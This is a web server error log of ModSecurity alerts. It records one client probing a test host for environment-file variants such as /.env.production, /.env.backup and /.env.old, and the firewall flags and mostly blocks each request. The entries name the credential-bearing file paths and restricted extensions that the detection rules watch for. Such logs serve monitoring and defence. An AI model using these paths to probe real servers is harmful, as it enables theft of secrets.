[Sun May 18 09:55:04.740616 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DKQAAAAs&quot;]
[Sun May 18 09:55:32.243956 2025] [:error] [pid 3242438] [client 170.39.217.179:42158] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aCmSdG5LSh5VjHFMrS3d0AAAAAo&quot;]
[Sun May 18 09:55:32.244212 2025] [:error] [pid 3242438] [client 170.39.217.179:42158] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aCmSdG5LSh5VjHFMrS3d0AAAAAo&quot;]
[Sun May 18 09:55:32.244394 2025] [:error] [pid 3242438] [client 170.39.217.179:42158] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aCmSdG5LSh5VjHFMrS3d0AAAAAo&quot;]
[Sun May 18 09:55:32.511030 2025] [:error] [pid 3242438] [client 170.39.217.179:42158] [client 170.39.217.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aCmSdG5LSh5VjHFMrS3d0QAAAAo&quot;]
[Sun May 18 09:55:32.511234 2025] [:error] [pid 3242438] [client 170.39.217.179:42158] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aCmSdG5LSh5VjHFMrS3d0QAAAAo&quot;]
[Sun May 18 09:55:32.511585 2025] [:error] [pid 3242438] [client 170.39.217.179:42158] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aCmSdG5LSh5VjHFMrS3d0QAAAAo&quot;]
[Sun May 18 09:55:32.511842 2025] [:error] [pid 3242438] [client 170.39.217.179:42158] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aCmSdG5LSh5VjHFMrS3d0QAAAAo&quot;]
[Sun May 18 09:56:02.311696 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aCmSkjSaScNBkRQkSaOE2gAAAA0&quot;]
[Sun May 18 09:56:02.311864 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aCmSkjSaScNBkRQkSaOE2gAAAA0&quot;]
[Sun May 18 09:56:02.312129 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aCmSkjSaScNBkRQkSaOE2gAAAA0&quot;]
[Sun May 18 09:56:02.312303 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aCmSkjSaScNBkRQkSaOE2gAAAA0&quot;]
[Sun May 18 09:56:02.885691 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aCmSkjSaScNBkRQkSaOE2wAAAA0&quot;]
[Sun May 18 09:56:02.885964 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aCmSkjSaScNBkRQkSaOE2wAAAA0&quot;]
[Sun May 18 09:56:02.886146 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aCmSkjSaScNBkRQkSaOE2wAAAA0&quot;]
[Sun May 18 09:56:03.409121 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aCmSkzSaScNBkRQkSaOE3AAAAA0&quot;]
[Sun May 18 09:56:03.409359 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aCmSkzSaScNBkRQkSaOE3AAAAA0&quot;]
[Sun May 18 09:56:03.409568 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aCmSkzSaScNBkRQkSaOE3AAAAA0&quot;]
[Sun May 18 09:56:03.822552 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aCmSkzSaScNBkRQkSaOE3QAAAA0&quot;]
[Sun May 18 09:56:03.822805 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aCmSkzSaScNBkRQkSaOE3QAAAA0&quot;]
[Sun May 18 09:56:03.823020 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aCmSkzSaScNBkRQkSaOE3QAAAA0&quot;]
[Sun May 18 09:56:04.288026 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aCmSlDSaScNBkRQkSaOE3gAAAA0&quot;]
[Sun May 18 09:56:04.288286 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aCmSlDSaScNBkRQkSaOE3gAAAA0&quot;]
[Sun May 18 09:56:04.288507 2025] [:error] [pid 3242441] [client 170.39.217.179:54672] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aCmSlDSaScNBkRQkSaOE3gAAAA0&quot;]
[Sun May 18 09:56:32.050091 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.1&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwqgAAAAU&quot;]
[Sun May 18 09:56:32.050362 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.1&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwqgAAAAU&quot;]
[Sun May 18 09:56:32.050557 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.1&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwqgAAAAU&quot;]
[Sun May 18 09:56:32.365595 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.2&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwqwAAAAU&quot;]
[Sun May 18 09:56:32.365872 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwqwAAAAU&quot;]
[Sun May 18 09:56:32.366086 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwqwAAAAU&quot;]
[Sun May 18 09:56:32.813788 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.3&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.3&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwrAAAAAU&quot;]
[Sun May 18 09:56:32.814152 2025] [:error] [pid 3240162] [client 170.39.217.179:10132] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.3&quot;] [unique_id &quot;aCmSsKidVvYEkQknJ8nwrAAAAAU&quot;]
